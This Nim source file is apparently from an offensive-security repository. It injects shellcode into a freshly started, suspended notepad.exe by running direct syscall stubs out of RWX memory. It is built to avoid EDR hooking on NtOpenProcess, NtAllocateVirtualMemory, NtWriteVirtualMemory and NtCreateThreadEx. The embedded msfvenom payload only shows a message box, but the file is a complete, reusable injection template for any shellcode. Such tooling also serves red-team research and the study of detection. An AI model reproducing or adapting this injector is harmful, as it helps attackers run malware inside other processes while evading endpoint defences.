S3cur3Th1sSh1t-NimGetSyscallStub/ShellcodeInject.nim

#[
    S3cur3Th1sSh1t, Twitter: @Shitsecure, Remote injection template taken from: Marcello Salvati, Twitter: @byt3bl33d3r (OffensiveNim Repo)
    License: BSD 3-Clause
]#

import winim
import GetSyscallStub
import osproc

# Unmanaged NTDLL Declarations
type myNtOpenProcess = proc(ProcessHandle: PHANDLE, DesiredAccess: ACCESS_MASK, ObjectAttributes: POBJECT_ATTRIBUTES, ClientId: PCLIENT_ID): NTSTATUS {.stdcall.}
type myNtAllocateVirtualMemory = proc(ProcessHandle: HANDLE, BaseAddress: PVOID, ZeroBits: ULONG, RegionSize: PSIZE_T, AllocationType: ULONG, Protect: ULONG): NTSTATUS {.stdcall.}
type myNtWriteVirtualMemory = proc(ProcessHandle: HANDLE, BaseAddress: PVOID, Buffer: PVOID, NumberOfBytesToWrite: SIZE_T, NumberOfBytesWritten: PSIZE_T): NTSTATUS {.stdcall.}
type myNtCreateThreadEx = proc(ThreadHandle: PHANDLE, DesiredAccess: ACCESS_MASK, ObjectAttributes: POBJECT_ATTRIBUTES, ProcessHandle: HANDLE, StartRoutine: PVOID, Argument: PVOID, CreateFlags: ULONG, ZeroBits: SIZE_T, StackSize: SIZE_T, MaximumStackSize: SIZE_T, AttributeList: PPS_ATTRIBUTE_LIST): NTSTATUS {.stdcall.}

proc injectCreateRemoteThread[I, T](shellcode: array[I, T]): void =

    var SYSCALL_STUB_SIZE: int = 23;

    # Under the hood, the startProcess function from Nim's osproc module is calling CreateProcess() :D
    let tProcess = startProcess("notepad.exe")
    tProcess.suspend() # That's handy!
    defer: tProcess.close()

    echo "[*] Target Process: ", tProcess.processID

    var cid: CLIENT_ID
    var oa: OBJECT_ATTRIBUTES
    var pHandle: HANDLE
    var tHandle: HANDLE
    var ds: LPVOID
    var sc_size: SIZE_T = cast[SIZE_T](shellcode.len)

    cid.UniqueProcess = tProcess.processID
    
    let tProcess2 = GetCurrentProcessId()
    var pHandle2: HANDLE = OpenProcess(PROCESS_ALL_ACCESS, FALSE, tProcess2)

    let syscallStub_NtOpenP = VirtualAllocEx(
        pHandle2,
        NULL,
        cast[SIZE_T](SYSCALL_STUB_SIZE),
        MEM_COMMIT,
        PAGE_EXECUTE_READ_WRITE
    )

    
    var syscallStub_NtAlloc: HANDLE = cast[HANDLE](syscallStub_NtOpenP) + cast[HANDLE](SYSCALL_STUB_SIZE)
    var syscallStub_NtWrite: HANDLE = cast[HANDLE](syscallStub_NtAlloc) + cast[HANDLE](SYSCALL_STUB_SIZE)
    var syscallStub_NtCreate: HANDLE = cast[HANDLE](syscallStub_NtWrite) + cast[HANDLE](SYSCALL_STUB_SIZE)


    var oldProtection: DWORD = 0

    # define NtOpenProcess
    var NtOpenProcess: myNtOpenProcess = cast[myNtOpenProcess](cast[LPVOID](syscallStub_NtOpenP));
    VirtualProtect(cast[LPVOID](syscallStub_NtOpenP), SYSCALL_STUB_SIZE, PAGE_EXECUTE_READWRITE, addr oldProtection);

    # define NtAllocateVirtualMemory
    let NtAllocateVirtualMemory = cast[myNtAllocateVirtualMemory](cast[LPVOID](syscallStub_NtAlloc));
    VirtualProtect(cast[LPVOID](syscallStub_NtAlloc), SYSCALL_STUB_SIZE, PAGE_EXECUTE_READWRITE, addr oldProtection);

    # define NtWriteVirtualMemory
    let NtWriteVirtualMemory = cast[myNtWriteVirtualMemory](cast[LPVOID](syscallStub_NtWrite));
    VirtualProtect(cast[LPVOID](syscallStub_NtWrite), SYSCALL_STUB_SIZE, PAGE_EXECUTE_READWRITE, addr oldProtection);

    # define NtCreateThreadEx
    let NtCreateThreadEx = cast[myNtCreateThreadEx](cast[LPVOID](syscallStub_NtCreate));
    VirtualProtect(cast[LPVOID](syscallStub_NtCreate), SYSCALL_STUB_SIZE, PAGE_EXECUTE_READWRITE, addr oldProtection);

    var status: NTSTATUS
    var success: BOOL

    success = GetSyscallStub("NtOpenProcess", cast[LPVOID](syscallStub_NtOpenP));
    success = GetSyscallStub("NtAllocateVirtualMemory", cast[LPVOID](syscallStub_NtAlloc));
    success = GetSyscallStub("NtWriteVirtualMemory", cast[LPVOID](syscallStub_NtWrite));
    success = GetSyscallStub("NtCreateThreadEx", cast[LPVOID](syscallStub_NtCreate));

    
    status = NtOpenProcess(
        &pHandle,
        PROCESS_ALL_ACCESS, 
        &oa, &cid         
    )

    echo "[*] pHandle: ", pHandle

    status = NtAllocateVirtualMemory(
        pHandle, &ds, 0, &sc_size, 
        MEM_COMMIT, 
        PAGE_EXECUTE_READWRITE);

    var bytesWritten: SIZE_T

    status = NtWriteVirtualMemory(
        pHandle, 
        ds, 
        unsafeAddr shellcode, 
        sc_size-1, 
        addr bytesWritten);

    echo "[*] NtWriteVirtualMemory: ", status
    echo "    \\-- bytes written: ", bytesWritten
    echo ""

    status = NtCreateThreadEx(
        &tHandle, 
        THREAD_ALL_ACCESS, 
        NULL, 
        pHandle,
        ds, 
        NULL, FALSE, 0, 0, 0, NULL);

    status = NtClose(tHandle)
    status = NtClose(pHandle)

    echo "[*] tHandle: ", tHandle
    echo "[+] Injected"
    echo success
   

when defined(windows):
    when defined(i386):
        echo "[!] This is only for 64-bit use. Exiting..."
        return 

    elif defined(amd64):
        # ./msfvenom -p windows/x64/messagebox -f csharp, then modified for Nim arrays
        echo "[*] Running in x64 process"
        var shellcode: array[295, byte] = [
        byte 0xfc,0x48,0x81,0xe4,0xf0,0xff,0xff,0xff,0xe8,0xd0,0x00,0x00,0x00,0x41,0x51,
        0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x3e,0x48,
        0x8b,0x52,0x18,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x48,0x8b,0x72,0x50,0x3e,0x48,
        0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,
        0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x3e,
        0x48,0x8b,0x52,0x20,0x3e,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x3e,0x8b,0x80,0x88,
        0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x6f,0x48,0x01,0xd0,0x50,0x3e,0x8b,0x48,
        0x18,0x3e,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x5c,0x48,0xff,0xc9,0x3e,
        0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,
        0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x3e,0x4c,0x03,0x4c,0x24,
        0x08,0x45,0x39,0xd1,0x75,0xd6,0x58,0x3e,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
        0x66,0x3e,0x41,0x8b,0x0c,0x48,0x3e,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x3e,
        0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,
        0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,
        0x59,0x5a,0x3e,0x48,0x8b,0x12,0xe9,0x49,0xff,0xff,0xff,0x5d,0x49,0xc7,0xc1,
        0x00,0x00,0x00,0x00,0x3e,0x48,0x8d,0x95,0xfe,0x00,0x00,0x00,0x3e,0x4c,0x8d,
        0x85,0x0f,0x01,0x00,0x00,0x48,0x31,0xc9,0x41,0xba,0x45,0x83,0x56,0x07,0xff,
        0xd5,0x48,0x31,0xc9,0x41,0xba,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x48,0x65,0x6c,
        0x6c,0x6f,0x2c,0x20,0x66,0x72,0x6f,0x6d,0x20,0x4d,0x53,0x46,0x21,0x00,0x4d,
        0x65,0x73,0x73,0x61,0x67,0x65,0x42,0x6f,0x78,0x00]

    # This is essentially the equivalent of 'if __name__ == '__main__' in python
    when isMainModule:
        injectCreateRemoteThread(shellcode)